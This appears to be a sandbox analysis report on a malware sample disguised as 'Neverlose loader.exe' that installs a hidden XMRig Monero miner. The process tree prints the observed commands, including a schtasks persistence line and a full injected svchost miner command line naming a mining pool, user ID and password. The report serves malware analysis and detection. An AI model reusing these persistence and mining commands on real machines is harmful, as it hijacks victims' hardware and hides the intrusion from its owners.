Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/05/2024, 17:37

General

  • Target
    Neverlose loader.exe
  • Size 17.5MB
  • Sample240523-v7lpssag48
  • SHA256 3a114634cd7913cbff0c7c8dad3f02350e82ebe6a035111f30881f0ea1183ae5
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 10 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Neverlose loader.exe
    "C:\Users\Admin\AppData\Local\Temp\Neverlose loader.exe"
    1⤵
    • Checks computer location settings
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4768
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"' & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3404
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"'
        3⤵
        • Creates scheduled task(s)
        PID:2504
    • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
      2⤵
      • Executes dropped EXE
      PID:532
    • C:\Users\Admin\AppData\Local\Temp\Services.exe
      "C:\Users\Admin\AppData\Local\Temp\Services.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3440
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"' & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5772
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"'
          4⤵
          • Creates scheduled task(s)
          PID:372
      • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        3⤵
        • Executes dropped EXE
        PID:5500
      • C:\Windows\System32\svchost.exe
        C:\Windows/System32\svchost.exe -B --coin=monero --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=mine.bmpool.org:6004 --user=6047647 --pass=kakachka2707 --cpu-max-threads-hint=40 --donate-level=5 --unam-idle-wait=1 --unam-idle-cpu=80 --unam-stealth
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1804

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        Services.exe

        • Path C:\Users\Admin\AppData\Local\Temp\Services.exe
        • Size 17.5MB
        • SHA256 3a114634cd7913cbff0c7c8dad3f02350e82ebe6a035111f30881f0ea1183ae5
        • MD5 SHA1 SHA512 SSDEEP

        WR64.sys

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Libs\WR64.sys
        • Size 14KB
        • SHA256 11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5
        • MD5 SHA1 SHA512 SSDEEP

        sihost64.exe

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        • Size 7KB
        • SHA256 128db59ff4218dabd4b745f5bb44ec584ed5f699df62409ec11a6029c55bf2b5
        • MD5 SHA1 SHA512 SSDEEP

        memory/532-20-0x0000000000EC0000-0x0000000000EC6000-memory.dmp

        memory/532-33-0x00007FFA0EF30000-0x00007FFA0F9F1000-memory.dmp

        memory/532-27-0x00007FFA0EF30000-0x00007FFA0F9F1000-memory.dmp

        memory/1804-54-0x0000000140000000-0x000000014074D000-memory.dmp

        memory/1804-58-0x0000000140000000-0x000000014074D000-memory.dmp

        memory/1804-60-0x0000000140000000-0x000000014074D000-memory.dmp

        memory/1804-61-0x0000000140000000-0x000000014074D000-memory.dmp

        memory/1804-59-0x0000000140000000-0x000000014074D000-memory.dmp

        memory/1804-57-0x0000000140000000-0x000000014074D000-memory.dmp

        memory/1804-56-0x0000000140000000-0x000000014074D000-memory.dmp

        memory/1804-53-0x0000026D94BC0000-0x0000026D94BD4000-memory.dmp

        memory/1804-50-0x0000000140000000-0x000000014074D000-memory.dmp

        memory/1804-52-0x0000000140000000-0x000000014074D000-memory.dmp

        memory/1804-55-0x0000000140000000-0x000000014074D000-memory.dmp

        memory/3440-49-0x000000001EA20000-0x000000001EA2E000-memory.dmp

        memory/3440-32-0x000000001E780000-0x000000001E78A000-memory.dmp

        memory/3440-31-0x000000001E760000-0x000000001E772000-memory.dmp

        memory/4768-0-0x00007FFA0EF33000-0x00007FFA0EF35000-memory.dmp

        memory/4768-30-0x00007FFA0EF30000-0x00007FFA0F9F1000-memory.dmp

        memory/4768-1-0x0000000000A90000-0x0000000001C18000-memory.dmp

        memory/4768-3-0x00007FFA0EF30000-0x00007FFA0F9F1000-memory.dmp